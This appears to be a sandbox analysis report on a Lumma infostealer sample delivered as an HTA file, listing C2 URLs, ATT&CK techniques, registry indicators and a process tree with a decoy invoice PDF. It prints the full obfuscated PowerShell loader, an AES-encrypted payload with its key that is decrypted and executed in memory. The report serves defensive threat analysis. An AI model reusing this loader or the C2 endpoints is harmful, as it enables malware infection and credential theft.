lumma | 656099d4fcb2a5824b4bf2ac8d6356f33d73d9a2a4c401bcd986f7667ee71695

Analysis

max time kernel
134s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 16:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b616bf2cf065379c4ce6c105e50389cd004b0951b9ff4db5572348ed00c74fea33.hta
Size

167KB
MD5

eae8fea1fe3a77450002d315167b3471
SHA1

6aa85b77901cd9da429cf00a58e67e3c352c4119
SHA256

656099d4fcb2a5824b4bf2ac8d6356f33d73d9a2a4c401bcd986f7667ee71695
SHA512

bbaa23237532baa5d43dabe48dcc0e44cc1391fa99aead5243866a4a389defaad696612acd904cd11a3b78ad77f03943d9725d14a3ef95157dd97c2c95bdd6ef
SSDEEP

3072:MXk7bSP2sXk7bSP2mXk7bSP2VXk7bSP2:0k7O+Uk7O+Kk7O+xk7O+

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

https://grannsfulyls.shop/api

https://tenntysjuxmz.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	2060	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	MJDSWXBP.exe

Executes dropped EXE 3 IoCs

pid	Process
3304	MJDSWXBP.exe
4828	hv.exe
4544	hv.exe

Loads dropped DLL 2 IoCs

pid	Process
4828	hv.exe
4544	hv.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2060	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4544 set thread context of 4760	4544	hv.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MJDSWXBP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2060	powershell.exe
2060	powershell.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
4828	hv.exe
4544	hv.exe
4544	hv.exe
4544	hv.exe
4760	cmd.exe
4760	cmd.exe
4760	cmd.exe
4760	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4544	hv.exe
4760	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2976	AcroRd32.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
2976	AcroRd32.exe
4828	hv.exe
4544	hv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5048 wrote to memory of 2060	5048	mshta.exe	86
PID 5048 wrote to memory of 2060	5048	mshta.exe	86
PID 5048 wrote to memory of 2060	5048	mshta.exe	86
PID 2060 wrote to memory of 2976	2060	powershell.exe	90
PID 2060 wrote to memory of 2976	2060	powershell.exe	90
PID 2060 wrote to memory of 2976	2060	powershell.exe	90
PID 2976 wrote to memory of 1460	2976	AcroRd32.exe	91
PID 2976 wrote to memory of 1460	2976	AcroRd32.exe	91
PID 2976 wrote to memory of 1460	2976	AcroRd32.exe	91
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 2028	1460	RdrCEF.exe	92
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93
PID 1460 wrote to memory of 3424	1460	RdrCEF.exe	93

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\b616bf2cf065379c4ce6c105e50389cd004b0951b9ff4db5572348ed00c74fea33.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function dMUNdmi($QyzD){return -split ($QyzD -replace '..', '0x$& ')};$GheXbbz = dMUNdmi('02A824CF67BDF6B94DAF30CDAB9B6F2AF2E31933B44C35CB74FBEC5C8D05184AE19E350F8A5B4CFA9CFA10029158676F9AFA1B39ABDE6DA3A6F8DECC36B3B7EC84C1A48D72066E3F62E0FC5A3A3B8F6DF5EE435099CD658910A59F8EFCB376B0AD116F5103F8ED02C5718D1A6DD83073E31B1CA539CECC1487CBEF15C4BA14491B3466AB5E11EB1F58FF0A793CAECFCF608EF5A58CE6A629084C74ED96A36CAA9736C025E9A98A265FEDD1286567BDC39EA969A91B7CAFD5586A62CEB60EA795A7B9A70AA6B46DE8968827254A6395798053CA1B5E84CBAF32B03DF319FE7F9A09EF9E5E1BCB5B989A67B8585C3D5F4C5CEFA6575C1A13CBE98A741880FE473FB196316FC587AED995668BDD018AAD96AC88613138D5472EF389C0FCB90C3BCAEE52516D8040A4EA6068B00D3122FC91695379C72D1A0CADDB09C0E2C0B32DC9151189549376A49F06BC32FD4436C89D1AA134B2F57EE44578A16CB5E8C430A91E7FC76264B0EDEE97A81D2EE8EB8BB7AD77A37363E9B8D7F4A34E412F2E21B3435F75FBFF3459592196375BDD2E5B65F99DA5BFDAAED95F573267F1567228327375BEFC0167D7CAA2DCD6EFF85EEDA3CA1DCE64F421FA894235A6A24A9E3009C72A34AFBD51E5FBF6A94C0AB65FAC3C0EFF343947826158B59B7A839030C8D4FD2218C5E5EB9D1C6C933F5B2DD7CA99180E35ECA9646F37F159F7A00747FBDA6C27358B7814EB4EB5F7E3BF02DF0A4C28D3221881DEA1A2F40B9B19682403822549A7AB220E7A888FFC4A5EAEE8F3022F225679BAD6F0620A7540EF3679005E07ECB954D15FC57A1CB7C9E9FDECF8F6D46253ADDAAD22531D5DCB64C3EBCCCC8B1B4B40A5DAF76B9F66433F53CE8D4892A4AF1AF5CC53B290459A254D727F93C95504F1E8A78958414139F2019B4B69DBF1984A5A496AE7FE5ED481C7FDDA0B00D82B84AEF8355E5EC0D1B8C098F85D37C5B88B5880C313F646D34BA5C34185DC7F10A3A8960C10B256514C8563552B8146777F278E690BD8C644F702EF3DA05690B7EDD232E82A3B6DC1EFF750B01558D03D98D84E8D0DC8FC0A8351635BE41A9EB7BEDA0AD96A9B88EF522016DD72C64A5435B03438E733CA9624CAF5B2685B799621C44350051B9620236EB9E33EB534304282AB788E707A6349FE173FF9DCB50D3295A0CDE355A50CF1AC58EF4CD7E5C0B059D49F4E6CE80920EEFADB40106F80604C201AA3368FC94E76AAF81860A3133B464E039168C1D40B28BA90B1F087003C1072D3D9AC352A6F3CDCBD9092B0F0B61267B7ABB82BE52618B474762C71D0FEE2D5A2DD80A406226A527C28D302091695B3DD42B09B89770AE9713BFF1D5E835C06631E706913C69A8EEAF7EA7A0994CFD7B3865FD787D7D9D7427DB95525958A45F2CB1F1D78120C275194BE38A59FB86DC295F30F1FBAD5AE61BE211927D8FD1E9D871DABC18A397E419EB8ACF0FF4FB5867CCCE3765C00E1D0398D95E43BDEFCFE6AEC6F8604DB5E294272293541BDA5DC6196E26E3AB7B34FBA72E9D42E7218D2273396EA556C54D93A6ACA7DE97FD24ADEF7B462677B7FD3AB226B7C4175BC275AA580703106B348921A1F2F62D33D1A69210305F6216273070E6902AE3C048597661DC922A3F31EEFD7D3A9909645A10B672EE3939C47A063D40642A779C3BF68A81EB02A998C7CAF1BBF59535C9DB38A8C300E93F851427846A9FCA6759A7FF545DCBACFA300B5025AE591AD953AA8EC29E4318133897F79804F37EE6E228822E7859E85A8A61D60E0E9B425EFF61223E6F49BE82E3953D1CB977E4028C954DFB6B995185C002F210EA4FD953856A5DA261DB455FCC672190A635F74DB347A36FFCBD5FD36CF1BDDB85283C4C4D4BA0140B529526FF8572D66754F2558B6BBBE33DFD79F0FCD90A52DE798B4425383D5B4FBB134BB8EC401ECAB4667836B1D1F17318F159F5E60B6A818B8BEBB5C5E674620BD0C0E574E1870264FC079BA2548C1CBCFE3DB0AA016E4813BDABEF75AC55BF35E7288DA0DE5');$TUKIU = [System.Security.Cryptography.Aes]::Create();$TUKIU.Key = dMUNdmi('5369704452754C685A6256466A696666');$TUKIU.IV = New-Object byte[] 16;$iLDcXOka = $TUKIU.CreateDecryptor();$McUxVcUtM = $iLDcXOka.TransformFinalBlock($GheXbbz, 0, $GheXbbz.Length);$vZlNqQyoG = [System.Text.Encoding]::Utf8.GetString($McUxVcUtM);$iLDcXOka.Dispose();& $vZlNqQyoG.Substring(0,3) $vZlNqQyoG.Substring(3)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Factura Pro-forma - S08369.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1460
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BEB776C3F6292E6DECE79830F1973946 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2028
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=9436D1F39CE7B985D96EE567C994D7A3 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=9436D1F39CE7B985D96EE567C994D7A3 --renderer-client-id=2 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3424
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=71C4BAC9668640CBED7934315EF38FF0 --mojo-platform-channel-handle=2320 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5040
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=DAD6DD0607BAA8AF2DE41D1E30C1AEC5 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=DAD6DD0607BAA8AF2DE41D1E30C1AEC5 --renderer-client-id=5 --mojo-platform-channel-handle=2404 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1996
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BAD8C38620079A29578F01875483D70B --mojo-platform-channel-handle=2528 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5024
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8794801B69EA7E9F6A5C9978D9F3D4C9 --mojo-platform-channel-handle=2644 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3796
- - C:\Users\Admin\AppData\Roaming\MJDSWXBP.exe
    "C:\Users\Admin\AppData\Roaming\MJDSWXBP.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3304
  - - C:\Users\Admin\AppData\Local\Temp\hv.exe
      "C:\Users\Admin\AppData\Local\Temp\hv.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4828
    - - C:\Users\Admin\AppData\Roaming\FYE_check\hv.exe
        
        C:\Users\Admin\AppData\Roaming\FYE_check\hv.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:4544
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4760
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5040

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
e07cac8759e88bc1b8fafbe71cca789d

SHA1
2918a557601d4857dff08f311fe78cd443cbf1f7

SHA256
035e91090628ab98520ff192fc499e70b01a71213f43a148d6611aa7f7fc822b

SHA512
057e4b98380792fe0f500cf28fb7e3124ccab1827e2b6f3e30fd2fdd750243919b753d060b4a3ce2ac3c2a459f0d68aabcb7c367a5d5b8faba9ca55c3f005abb

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
